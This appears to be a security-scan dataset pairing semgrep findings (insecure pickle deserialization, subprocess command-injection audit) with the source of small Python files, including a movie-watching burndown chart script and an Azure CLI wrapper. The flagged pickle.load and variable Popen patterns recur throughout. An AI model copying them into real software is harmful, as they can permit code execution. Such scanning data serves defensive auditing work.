{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e169d83f0c842e9f_588d318c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 299, "line_end": 299, "column_start": 17, "column_end": 53, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e169d83f0c842e9f.py", "start": {"line": 299, "col": 17, "offset": 9158}, "end": {"line": 299, "col": 53, "offset": 9194}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e169d83f0c842e9f_b5de27a4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 300, "line_end": 300, "column_start": 18, "column_end": 55, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e169d83f0c842e9f.py", "start": {"line": 300, "col": 18, "offset": 9212}, "end": {"line": 300, "col": 55, "offset": 9249}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e169d83f0c842e9f_e24115a5", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 301, "line_end": 301, "column_start": 15, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e169d83f0c842e9f.py", "start": {"line": 301, "col": 15, "offset": 9264}, "end": {"line": 301, "col": 49, "offset": 9298}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e169d83f0c842e9f_d53af773", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 327, "line_end": 328, "column_start": 4, "column_end": 76, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e169d83f0c842e9f.py", "start": {"line": 327, "col": 4, "offset": 10389}, "end": {"line": 328, "col": 76, "offset": 10541}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e169d83f0c842e9f_04882420", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 374, "line_end": 374, "column_start": 5, "column_end": 58, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e169d83f0c842e9f.py", "start": {"line": 374, "col": 5, "offset": 11925}, "end": {"line": 374, "col": 58, "offset": 11978}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e169d83f0c842e9f_1bbf3b39", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 375, "line_end": 375, "column_start": 5, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e169d83f0c842e9f.py", "start": {"line": 375, "col": 5, "offset": 11983}, "end": {"line": 375, "col": 54, "offset": 12032}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_e169d83f0c842e9f_fe1722e8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 406, "line_end": 406, "column_start": 5, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/e169d83f0c842e9f.py", "start": {"line": 406, "col": 5, "offset": 13181}, "end": {"line": 406, "col": 56, "offset": 13232}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 9 | true | [
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.pyth... | [
"security",
"security",
"security",
"security",
"security",
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
298,
299,
300,
301,
327,
374,
375,
406
] | [
298,
299,
300,
301,
328,
374,
375,
406
] | [
19,
17,
18,
15,
4,
5,
5,
5
] | [
57,
53,
55,
49,
76,
58,
54,
56
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserial... | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5,
5,
5,
5,
5,
5,
5
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | guesser_model.py | /src/qanta/guesser_model.py | ExSidius/qanta-codalab | Apache-2.0 | |
2024-11-18T20:10:39.785350+00:00 | 1,612,662,003,000 | 38315cf4028f50aa0f5aeaa4df1ea8a3a2a63fa3 | 3 | {
"blob_id": "38315cf4028f50aa0f5aeaa4df1ea8a3a2a63fa3",
"branch_name": "refs/heads/main",
"committer_date": 1612662003000,
"content_id": "6df864acd38c9ffe04e186113b537362246eaabb",
"detected_licenses": [
"MIT"
],
"directory_id": "4550f6bbeb292157680c5858e05c34f9ef8401c4",
"extension": "py",
"filename": "cage_burndown.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 336674509,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6045,
"license": "MIT",
"license_type": "permissive",
"path": "/cage_burndown.py",
"provenance": "stack-edu-0054.json.gz:571383",
"repo_name": "brahbby/Cam3r0np03",
"revision_date": 1612662003000,
"revision_id": "0d0ba46a99e1032203ec6aac836be0f569b8745b",
"snapshot_id": "0257e2cf4fa653070f8040953de4c60b80ea40ba",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/brahbby/Cam3r0np03/0d0ba46a99e1032203ec6aac836be0f569b8745b/cage_burndown.py",
"visit_date": "2023-02-28T02:02:44.687110"
} | 2.75 | stackv2 | import pickle
from pprint import PrettyPrinter
pp = PrettyPrinter()
import matplotlib.dates as dates
import matplotlib.pyplot as plt
from collections import Counter
#load dataset - run cagedata.py
with open('cagewatched.pickle', 'rb') as handle:
b = pickle.load(handle)
count = 0
tmin = 0
timeRem = 0
valcount=0
burndata=[]
remcount=0
for movies in b:
#print(movies)
try:
if b[movies]['watched'] == 'yes':
print(b[movies]['Runtime'])
time = int(b[movies]['Runtime'][:3])
burndata.append([(b[movies]['watchdate']),int(b[movies]['Runtime'][:3]),b[movies]['Title']])
tmin= tmin+time
except KeyError:
#print('notwatched')
try:
time = int(b[movies]['Runtime'][:3])
timeRem= timeRem+time
remcount = remcount+1
except ValueError:
valcount = valcount+1
except KeyError:
valcount = valcount+1
#pp.pprint(movies)
print(tmin)
print(timeRem)
totalTime= tmin+timeRem
timeburn = totalTime
print(burndata)
burndata.sort(key = lambda burndata: burndata[0])
for movies in burndata:
print(movies)
timeburn = timeburn - movies[1]
movies.append(timeburn)
#print(timeburn)
print(burndata)
print(valcount)
print(tmin/(tmin+timeRem))
print(burndata[1][0],burndata[-1][0])
#need time remaining divded by averageoftmin
import datetime
def days_between(d1, d2):
d1 = datetime.datetime.strptime(d1, "%Y-%m-%d")
d2 = datetime.datetime.strptime(d2, "%Y-%m-%d")
return abs((d2 - d1).days)
daysWatching = days_between(burndata[0][0],burndata[-1][0])
print(len(burndata))
print(daysWatching)
#average time betweenz2 s1w movies
dayAvg = daysWatching/len(burndata)
#movies left divided by remaining timeRem
print(remcount)
print(timeburn)
avgLeft= timeburn/remcount
#average movie length
remBurndata = burndata
#loop and subtract avg time and add date
for movies in range(remcount):
try:
print(remBurndata[-1][0])
date_1 = datetime.datetime.strptime(remBurndata[-1][0], "%Y-%m-%d")
end_date = date_1 + datetime.timedelta(days=dayAvg)
print(remBurndata[-1][0])
except ValueError:
try:
date_1 = datetime.datetime.strptime(remBurndata[-1][0], "%Y-%m-%d %H:%M:%S.%f")
end_date = date_1 + datetime.timedelta(days=dayAvg)
except ValueError:
try:
date_1 = datetime.datetime.strptime(remBurndata[-1][0], "%Y-%m-%d %H:%M:%S")
end_date = date_1 + datetime.timedelta(days=dayAvg)
except ValueError:
break
# print(remBurndata[-1][0])
timeburn = timeburn - avgLeft
remBurndata.append([str(end_date),avgLeft,'Title',timeburn])
#print(timeburn)
print(remBurndata)
for movies in remBurndata:
#if movies[2] == 'Title':
movies[0] = movies[0][:10]
try:
movies[0] = datetime.datetime.strptime(movies[0],"%Y-%m-%d %H:%M:%S")
except:
try:
movies[0] = datetime.datetime.strptime(movies[0],"%Y-%m-%d %H:%M:%S.%f")
except:
movies[0] = datetime.datetime.strptime(movies[0],"%Y-%m-%d")
print(remBurndata)
chartdata = []
chartrem =[]
for movies in remBurndata:
if movies[2] != 'Title':
chartdata.append([movies[0],movies[3]])
else:
chartrem.append([movies[0],movies[3]])
x, y = zip(*chartdata)
x1, y1 = zip(*chartrem)
plt.fill_between(x, y)
plt.tight_layout()
plt.plot_date(x, y, linestyle ='solid')
plt.fill_between(x1, y1)
plt.tight_layout()
plt.plot_date(x1, y1, c='red', linestyle ='dashed')
plt.gcf().autofmt_xdate
plt.xticks(rotation=45)
plt.gcf().subplots_adjust(bottom=0.15)
plt.title("How'd it get burned(down)?!", fontsize=20)
plt.xlabel('Date', fontsize=18)
plt.ylabel('Time Remaining in Goodspeeds (1.000000001 min)', fontsize=12)
plt.savefig('test.jpg',bbox_inches='tight')
plt.show()
# #pp.pprint(b)
# wGenre=[]
# uwGenre=[]
# valcount=0
# for movies in b:
# #print(movies)
# try:
# if b[movies]['watched'] == 'yes':
# genre = (b[movies]['Genre'])
# wGenre.append(genre)
# except ValueError:
# valcount = valcount+1
# except KeyError:
# #print('notwatched')
# try:
# genre = (b[movies]['Genre'])
# uwGenre.append(genre)
# except ValueError:
# valcount = valcount+1
# except KeyError:
# valcount = valcount+1
#
#
#
#
#
# print(wGenre)
# wlGenre=[]
# for genres in wGenre:
# print(genres)
# wlGenre.extend(genres.split(","))
# wlGenre = map(str.strip, wlGenre)
# print(wlGenre)
#
# uwlGenre=[]
# for genres in uwGenre:
# print(genres)
# uwlGenre.extend(genres.split(","))
# uwlGenre = map(str.strip, uwlGenre)
#
# print(uwlGenre)
#
# from collections import Counter
# import matplotlib.pyplot as plt
# import numpy as np
#
# counts = Counter(wlGenre)
# common = counts.most_common()
# labels = [item[0] for item in common]
# number = [item[1] for item in common]
# nbars = len(common)
#
# countsU = Counter(uwlGenre)
# commonU = countsU.most_common()
# labelsU = [item[0] for item in commonU]
# numberU = [item[1] for item in commonU]
# nbarsU = len(commonU)
#
#
# fig1, ax1 = plt.subplots()
# ax1.pie(number, autopct='%1.1f%%',
# shadow=True, startangle=90)
# ax1.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.
# ax1.set_title('Cage Watched Genres')
#
#
# ax1.legend(labels,
# title="Genres",
# loc="center left")
#
# #bbox_to_anchor=(1, 0, 0.5, 1),
# # bbox_inches='tight')
#
#
# fig1, ax2 = plt.subplots()
# ax2.pie(numberU, autopct='%1.1f%%',
# shadow=True, startangle=90)
# ax2.axis('equal')
# ax2.set_title('Cage UnWatched Genres')
# ax2.legend(labelsU,
# title="Genres",
# loc="center left")
#
# plt.tight_layout()
# plt.show()
#
# # plt.bar(np.arange(nbars), number, tick_label=labels)
# # plt.xticks(rotation=45)
# # plt.tight_layout()
# # plt.show()
| 236 | 24.61 | 104 | 19 | 1,765 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_fd82f0b934246fa7_0a1aaaa8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 11, "line_end": 11, "column_start": 9, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/fd82f0b934246fa7.py", "start": {"line": 11, "col": 9, "offset": 256}, "end": {"line": 11, "col": 28, "offset": 275}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_fd82f0b934246fa7_f9fa1241", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 45, "line_end": 45, "column_start": 38, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/fd82f0b934246fa7.py", "start": {"line": 45, "col": 38, "offset": 1101}, "end": {"line": 45, "col": 49, "offset": 1112}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
11
] | [
11
] | [
9
] | [
28
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | cage_burndown.py | /cage_burndown.py | brahbby/Cam3r0np03 | MIT | |
2024-11-18T20:10:46.706864+00:00 | 1,539,853,074,000 | 1c3604ce6b5c204f2e8d4c934bc4a46bfe2e559f | 2 | {
"blob_id": "1c3604ce6b5c204f2e8d4c934bc4a46bfe2e559f",
"branch_name": "refs/heads/master",
"committer_date": 1539853074000,
"content_id": "1def47cb7540794f0847dc42e0919f49e98df7e1",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "0f98a2f32f81ab9c3440cddf9b7088f90b0e8cd8",
"extension": "py",
"filename": "helper.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 458,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/src/helper.py",
"provenance": "stack-edu-0054.json.gz:571439",
"repo_name": "kennyb7322/azure-audit",
"revision_date": 1539853074000,
"revision_id": "695341178c1396980a75fd2ab88550ca7930c70e",
"snapshot_id": "6ec61c37f8b06b0fcff84af03780a4f777ba42b5",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/kennyb7322/azure-audit/695341178c1396980a75fd2ab88550ca7930c70e/src/helper.py",
"visit_date": "2021-10-12T00:48:36.068722"
} | 2.3125 | stackv2 | import argparse
import subprocess
import sys
import logging
logger = logging.getLogger("helper")
def azcli(command):
process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out,err = process.communicate()
logger.debug(str(out,"utf-8"))
exit_code = process.returncode
if exit_code and exit_code != 0:
logger.error("{}".format(str(err,"utf-8")))
sys.exit(exit_code)
else:
return out | 17 | 26 | 87 | 14 | 101 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_09e6e9486fee063f_a3206c07", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 9, "line_end": 9, "column_start": 15, "column_end": 88, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/09e6e9486fee063f.py", "start": {"line": 9, "col": 15, "offset": 133}, "end": {"line": 9, "col": 88, "offset": 206}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
9
] | [
9
] | [
15
] | [
88
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | helper.py | /src/helper.py | kennyb7322/azure-audit | Apache-2.0 | |
2024-11-18T20:10:47.951672+00:00 | 1,606,318,090,000 | f1ebfa0041f423a1248e290c8f1918c0787db3af | 3 | {
"blob_id": "f1ebfa0041f423a1248e290c8f1918c0787db3af",
"branch_name": "refs/heads/main",
"committer_date": 1606318090000,
